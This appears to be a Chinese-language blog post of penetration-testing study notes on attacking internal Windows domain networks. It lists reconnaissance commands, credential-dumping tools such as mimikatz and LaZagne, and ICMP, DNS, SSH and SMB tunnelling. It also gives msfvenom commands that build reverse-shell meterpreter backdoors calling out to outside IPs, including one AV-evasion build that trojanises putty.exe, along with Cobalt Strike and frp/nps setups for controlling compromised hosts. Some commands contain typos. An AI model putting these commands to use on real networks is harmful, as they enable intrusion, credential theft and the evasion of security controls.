内网安全知识小结(一)

发布时间 2023-09-04 14:57:19作者: Tzyyyyy

概念介绍

image-20230417141843740

DMZ

DMZ

两个防火墙之间的空间被称为DMZ。与Internet相比,DMZ可以提供更高的安全性,但是其安全性比内部网络低。

DMZ是英文"demilitarized zone的缩写,中文名称为"隔离区"”,也称"非军事化区"。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。该缓冲区位于企业内部网络和外部网络之间的小网络区域内。在这个小网络区域内可以放置一些必须公开的服务器设施,如企业Web服务器、FTP服务器和论坛等。另一方面,通过这样一个DMZ区域,更加有效地保护了内部网络。因为这种网络部署,比起一般的防火墙方案,对来自外网的攻击者来说又多了一道关卡。

工作组

工作组(Work Group)是计算机网络的一个概念,也是最常见和最普通的资源管理模式

将不同的计算机按照功能或部门分别置于不同的组。通过创建不同的工作组,不同的计算机可以按照功能或部门归属到不同的组内,整个组织的网络就会变得具有层次性。

这样,只需在计算机的“网上邻居”中找到相应的工作组,就可以发现所包含的所有计算机,从而访问相应的资源。

要加入或创建工作组很简单。只需右击桌面上的“计算机”(或“此电脑”)图标,在弹出的快捷菜单中选择“属性”,在弹出的对话框中单击“更改设置”, 然后在弹出的“系统属性”对话框中单击“更改”,在“计算机名”栏中输入自定义的主机名称,并在工作组”栏中输入需要加入的工作组名称,单击“确定”按钮并重新启动计算机即可。注意,如果指定的工作组不存在,就会创建一个新的工作组。

另外,在默认情况下,局域网内的计算机都是采用工作组方式进行资源管理的,即处在名为WORKGROUP的工作组中。

工作组和域的区别

工作组范围较小 不需要管理主机

域环境范围较大 主机数量较多 需要管理主机进行管理

域控制器DC

控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”

一般为域环境中的管理主机 拥有较大的权限

活动目录AD

它为用户管理网路环境各个组成要素的标识和关系提供了一种有力的手段

活动目录(Active Directory)主要提供以下功能:
①基础网路服务:包括DNS、WINS、DHCP、证书服务等。
②伺服器及客户端计算机管理:管理伺服器及客户端计算机账户,所有伺服器及客户端计算机加入域管理并实施组策略。
③用户服务:管理用户域账户、用户信息、企业通讯录(与电子邮件系统集成)、用户组管理、用户身份认证、用户授权管理等,按需实施组管理策略。
④资源管理:管理印表机、档案共享服务等网路资源。
⑤桌面配置:系统管理员可以集中的配置各种桌面配置策略,如:界面功能的限制、应用程式执行特徵限制、网路连线限制、安全配置限制等。
⑥套用系统支撑:支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种套用系统。

单域

单域是指网络环境中只有一个域。

在一个计算机数量较少、地理位置固定的小规模 的组织中,建立一个单独的域,足以满足需求

父域和子域

在网络中划分多个域,第一域称为父域,各分部的域称为该域的子域,同一域内,信息交互的条目多,且不会压缩,不同域之间,信息的交互条目相对较少,而且,可以压缩,且每个域都有自己的安全策略

域树

域树是多个域通过建立信任关系组成的集合
image-20230418111552457

域林

多个域树建立信任关系组成的集合

image-20230418111620297

一、信息收集

敏感信息泄露

计算机各种协议服务口令获取-LaZagne (all) , xenArmor(win),cs插件

https://github.com/gentilkiwi/mimikatz/
https://github.com/Alessandroz/LaZagne
https://github.com/huntergregal/mimipenguin
https://xenarmor.com/allinone-password-recovery-pro-software/

1.站点源码备份文件、数据库备份文件等

2.各类数据库web管理入口,如PHPMyAdmin

3.浏览器保存密码、浏览器cookies

4.其他用户会话、3389和ipc$连接记录、回收站内容

5.windows保存的WIFI密码

6 .网络内部的各种帐号和密码,如: Email、VPN 、FTP、OA等

计算机基本信息

旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备

systeminfo 详细信息

net start 启动服务

tasklist 进程列表

schtasks 计划任务

网络信息收集

旨在了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备

ipconfig /all 判断是否存在域-DNS

image-20230418134916408

有主DNS后缀一项 说明有域环境

net view /domain 判断是否存在域

有域的回显

image-20230418135449696

net time /domain 判断主域

image-20230418135821561

可以通过nslookup和ping去探测该主机的ip地址

一般会以域控的时间为准进行同步 所以图上的就是域控

netstat -ano 当前网络端口开放

image-20230418140243635

nslookup 域名 追踪来源地址

nslookup

image-20230418140049889

也可以通过ping

image-20230418140121082

用户信息收集

旨在了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试

系统默认常见用户身份:

Domain Admins 域管理员(默认对域控制器有完全控制权)

Domain Computers 域内机器

Domain Controllers 域控制器

Domain Guest 域访客 权限低

Domain Users 域用户

Enterprise Admins 企业系统管理员用户(默认对域控制器有完全控制权)

相关用户收集操作命令:

whoami /all 用户权限

net config workstation 登录信息

net user 本地用户

image-20230419083544198

net localgroup 本地用户组

image-20230419083620512

net user /domain 获取域用户信息

image-20230419083602633

net group /domain 获取域用户组信息

image-20230419083705672

wmic useraccount get /all 涉及域用户详细信息

net group "Domain Admins" /domain 查询域管理员账户

image-20230419083840745

net group "Enterprise Admins" /domain 查询管理员用户组

image-20230419083908322

net group "Domain Controllers" /domain 查询域控制器

凭据信息收集

旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备

计算机用户HASH,明文获取-mimikatz (win) , mimipenguin (linux)

Windows

mimikatz

mimikatz要先权限提升 system用户或者Administrator用户 再执行后生成adminstrator的密码 不权限提升 域用户没有权限执行

Linux

mimipenguin

github.com/huntergregal/mimipenguin/

仅支持以下版本

image-20230419142917118

计算机各种协议服务口令获取-LaZagne (all), XenArmor (win)

CS插件

LSTAR

https://github.com/lintstar/LSTAR

Ladon

https://github.com/k8gege/Ladon

OLA

https://github.com/d3ckx1/OLa

TaoWu

LaZagne(全系统支持)

本地密码爬取 WIFI 浏览器密码 登录密码等多种密码

github.com/AlessandroZ/LaZagne

XenArmor(win)

收费 三四百 有破解的老版本

https://xenarmor.com/order-software/

显示历史保存的WIFI密码

Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称”key=clear

1.站点源码备份文件、数据库备份文件等

2 .各类数据库web管理入口,如PHPMyAdmin

3.浏览器保存密码、浏览器cookies

4 .其他用户会话、3389和ipc$连接记录、回收站内容

5.windows保存的WIFI密码

6.网络内部的各种帐号和密码,如: Email、VPN、FTP、OA等

探针域内控制器名及地址信息

net time /domain nslookyp ping

探针域内存活主机及地址信息

第三方工具

nbtscan 192.168.3.0/24 第三方工具 (没有免杀 需要自己在域内机器上下载)

image-20230419151406410

自带命令

for  /L %I  in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I  | findstr "TTL="     自带内部命令

能过免杀 不容易被拦截

image-20230419151706049

第三方Powershell脚本

nishang empire

nishang

以管理员权限运行

导入模块nishang

Import-Module .\lnishang.psm1

image-20230419153024228

设置执行策略

Set一ExecutionPolicy Remotelsigned

image-20230419153036610

一直回车

image-20230419153054384

获取模块nishang的命令函数

Get-Command -Module nishang

image-20230419153134841

获取常规计算机信息

Get-Information

image-20230419153347954

端口扫描(查看目录对应文件有演示语法,其他同理)

Invoke-Portscan -StartAddress 192.168.3.0 -EndAddress192.168.3.100 -ResolveHost -ScanPort

image-20230419153744154

其他功能:删除补丁,反弹shell,凭据获取等

image-20230419154116146

二、隧道技术

隧道和代理的区别

隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
可以理解为 有防火墙、防护软件等进行限制 从而导致某些协议无法正常通信
代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
可以理解为 不同网段的无法进行通信
正向连接(用于出规则被限制时 服务器主动连接被控主机 向内发送请求)
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.63.135 lport=6666 -f exe -o test.exe
反向连接(用于入规则被限制时 主动连接被控服务器 向外发送请求)  
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.134 lport=9999 -f exe -o demo2.exe    

假如有域内已经取得一台主机权限

现在要横向移动另一台主机

以被控主机为节点尝试对目标主机进行正向连接后门

如果主机有网络 但是被封杀了TCP 可以用隧道技术

使用时机

主机出站TCP封杀 入站没有 无互联网网络

正向连接 (取得一台有网络的能和主机通讯的服务器权限 他有网)

把数据给出网的机器 通过出网机器正向主动控制他

主机出站TCP封杀 入站没有 有互联网网络

正向连接 (取得一台有网络的能和主机通讯的服务器权限 他有网)

隧道技术(走其他协议出网即可)

封装ICMP协议

当目标主机可以ping外网 但是被禁用http时 可以使用ICMP协议封装走隧道

流程:

生成本地后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.134 lport=9999 -f exe -o demo2.exe    
MSF启动监听:
msfconsole
use exploit/multi/hanlder
set payload/windows/meterpreter/reverse_tcp
ser lhost 0.0.0.0
ser lport 4444
exploit
kali开启隧道
./pingtunnel -type server
Win开启隧道 //将本地3333 icmp协议数据转发至66ip的4444流量上(管理员运行)
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.46.66 -t 192.168.46.66:4444 -tcp -noprint 1 -nolog 1

image-20230901135505203

DNS隧道通讯

判断:nslookup dig

内网主机只出网DNS协议数据 解决通讯

工具地址 https://github.com/yarrick/iodine
判断出网 nslookup www.baidu.com

---公网服务器:设置密码xiaodi并创建虚拟ip以及绑定域名指向

iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD

---目标主机客户端:连接密码xiaodi并绑定域名指向

iodine -f -M -P xiaodi ns1.xiaod8.com

---尝试通讯尝试连接

ssh root@192.168.0.2

SSH隧道

image-20230901140014519

image-20230901140412478

开启SSH协议登录

vim /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
本地:出站封
ssh -CFNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122
远程:入站封
ssh -CFNg -R 1234:192.168.1.15:8080 root@47.94.236.117
curl http://127.0.0.1:1234

三、代理技术

Socks代理

Socks4/4a Socks5

代理软件

SocksCap Proxifier ProxyChains等

Proxifier

先在CS建立socks代理

image-20230830160323147

复制端口

image-20230830160354988

打开Proxifier

image-20230830160429139

依次填入数据

image-20230830160511793

socks版本以CS生成的为准

填好之后点击check进行检测连通性

image-20230830160613364

如果检测卡住了 点击右上角Test Settings

第一种方法是只启动第一个检测

image-20230830160730429

第二种方法是

准确设置目标内网ip

image-20230830160830969

设置完成后再进行检测即可成功

然后再设置Rules

image-20230830160924550

进行如下添加

image-20230830161020806

然后再选中localhost 点击remove 删去localhost的规则 只留下两个

image-20230830161144455

点击OK

配置完成后使用火狐可以访问目标内网主机的开放端口

image-20230830161239265

MSF通讯

Socks代理

1、添加路由 限于MSF

查看路由信息

run autoroute -p
run post/multi/manage/autoroute

添加指定路由,1是接收的session编号

route add 192.168.11.0 255.255.255.0 1

2、Socks代理 全局通用

use auxiliary/server/socks_proxy
set VERSION 4a  (根据实际更改)
set srvhost 0.0.0.0
set srvport 1115
run

启动代理配置Socks5代理

MSF+proxychains

创建路由

run post/multi/manage/autoroute

image-20230715164800595

查看路由

run autoroute -p

image-20230715164849016

返回MSF

image-20230715164935147

使用auxiliary/server/socks_proxy模块 查看options 并填上对应参数

use auxiliary/server/socks_proxy
options
set VERSION 4a
run

image-20230715165108067

image-20230715170542164

run之后就会挂起一个job 可以通过命令查看挂起情况

jobs

image-20230715165446590

安装proxychains4

apt install proxychains4

image-20230830165416700

配置proxychain配置文件 配置文件中的ip和命令要和模块中配置的一样

vim /etc/proxychains4.conf

image-20230715170133756

保存后 查看能否通过内网ip获得web页面

proxychains4 curl http://192.168.52.143/phpmyadmin

image-20230715170245524

CS通讯

命令:socks 59578

操作:代理转发--->Socks代理

四、正反向后门

正向
后门执行后数据交给本地2222端口 控制器连接当前的2222端口
反向
后门执行后数据交给远程2222端口 控制器监听2222端口

MSF控制上线(正向)

msfvenom -p windows/meterpreter/bind/_tcp LHOST=0.0.0.0 LPORT=1234 -f exe > 1.exe
use exploit/multi/handler  
set payload windows/meterpreter/bind_tcp
set rhost 192.168.11.129
set lport 3333
run

免杀

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.93.87.217 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o aaa.exe

CS控制上线(正向)

监听器:bind_tcp port

使用socks代理

命令:connect ip port

设置新监听器

image-20230830163442385

使用最后一个模块攻击

image-20230830163632005

image-20230830163714696

上传后执行木马

image-20230830163822531

执行后CS并没直接上线

需要在已上线主机上输入命令

connect ip port  (刚才执行木马的ip和CS生成后门时的端口)

稍等一会 主机上线

image-20230830164223437

五、入站 出站过滤上线

入站过滤上线

网络环境如图

image-20230831112917091

思路:上线windows7 --> 正向连接 上线windows10 --> windows2008反向连接windows10 --> windows2008 走SMB隧道正向连接windows2012

隧道技术

HTTP/S DNS SSH ICMP SMB 协议穿透等

SMB隧道上线

情景

防火墙对所有协议端口进行封禁 只开放了能连接打印机的SMB协议

SMB协议

文件共享协议  用于445端口  多用于打印机

新建SMB监听器 建立管道

image-20230901092859821

image-20230901093703738

用被控主机对目标主机进行扫描探测 探测是否存在445端口

image-20230901093818364

image-20230901094500381

扫描之后查看目标列表

image-20230901094604574

出现目标主机

image-20230901094716765

选择目标主机进行横向移动

image-20230901094825843

image-20230901095701887

最终上线(没配好环境 用迪总的图代替一下) 并且还是system 横向移动自带提权

image-20230901100206198

DNS隧道上线

情景

image-20230901114036122

原理

DNS在区域传输时用TCP
DNS在域名解析时用UDP

如果防火墙禁用TCP协议 UDP是可以用的

适用情景

目标主机可以ping通www.baidu.com  (走的ICMP协议)
但是目标主机无法访问百度网页 (防火墙封禁了TCP协议通信)
目标主机通过nslookup可以解析回显www.baidu.com  (DNS协议可以通信)

使用前提

需要准备域名

image-20230901134334299

image-20230901134115398

image-20230901134050513

上线之后执行命令

mode dns-txt

image-20230901134238392

上线成功

image-20230901134304825

反向连接跳过

先将被控主机 代理转发

image-20230831115224936

image-20230831115501922

监听主机要换成 和其他内网ip能够通信的同网段ip 要保证网络连通性

然后生成木马

image-20230831115621256

最后执行木马进行上线

image-20230901092222668

关闭&删除&替换

适用于单纯的内网环境 单纯的内网域环境(域控没有设置组策略防火墙同步)

在拿到管理员权限前提下 使用命令关闭防火墙 删除防火墙策略 替换防火墙程序

windows防火墙操作命令大全
https://www.cnblogs.com/tomtellyou/p/16300557.html

六、面向Linux MAC IOS Android系统上线支持

插件

https://github.com/gloxec/CrossC2

使用参考

https://gloxec.github.io/CrossC2/zh_cn

目前版本仅支持反向的https和正向的tcp

1、下载对应版本加载器和CNA插件

2、上传加载器文件和本地加载CNA插件

3、修改CNA插件配置路径以及上传key文件

4、使用命令或插件绑定HTTPS监听器生成

七、内网穿透

穿透项目

优点:穿透加密数据,中间平台,防追踪,解决网络问题

Ngrok (入门) 不推荐

https://www.ngrok.cc

frp (简易)

https://github.com/fatedierfrp

spp (自定义)

https://github.com/esrrhs/spp

nps (特殊协议)

https://github.com/ehang-io/nps

EW (停止更新)

http://www.rootkiter.com/EarthWorm

frp

服务端--下载--解压--修改--启动(阿里云主机修改安全配置出入口)

服务器修改配置文件frps.ini

[common]
bind_port=7000

启动服务端

./frps -c ./frps.ini

控制端--下载--解压--修改--启动

控制端修改配置文件frpc.ini

[common]
server_add=xx.xx.xx.xx (公网ip)
server_ip=7000 	#frpc工作端口 必须和上面frps保持一致
[ssh]
type=tcp
local_ip=127.0.0.1
loacl_port=5555		#转发给本机的5555
remote_port=6000	#服务端6000端口转发给本机

启动客户端

./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx(公网ip) lport=6000 -f exe -o a.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

nps

image-20230904105602996

服务端

启动
./nps install
./nps
http://ip:8024 admin/123

创建客户端,生成密匙

添加协议隧道 绑定指向

远程绑定5555,指向本地6666

客户端

1、连接服务端

./nps -server=xx.xx.xx.xx:8024(公网ip)-vkey=uajwhbu9155qh8 9v

2、生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx(公网ip)lport=5555 -f exe -o nps.exe

3、监听后门

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

spp

image-20230904104958604

服务端

./spp -type server -proto ricmp -listen 0.0.0.0

客户端

spp -name "test" -type proxy_client -server xx.xx.xx.xx(公网ip)-fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

CS

监听器1:
http xx.xx.xx.xx (公网ip) 8081
监听器2:
http 127.0.0.1 8082
生成后门:监听器2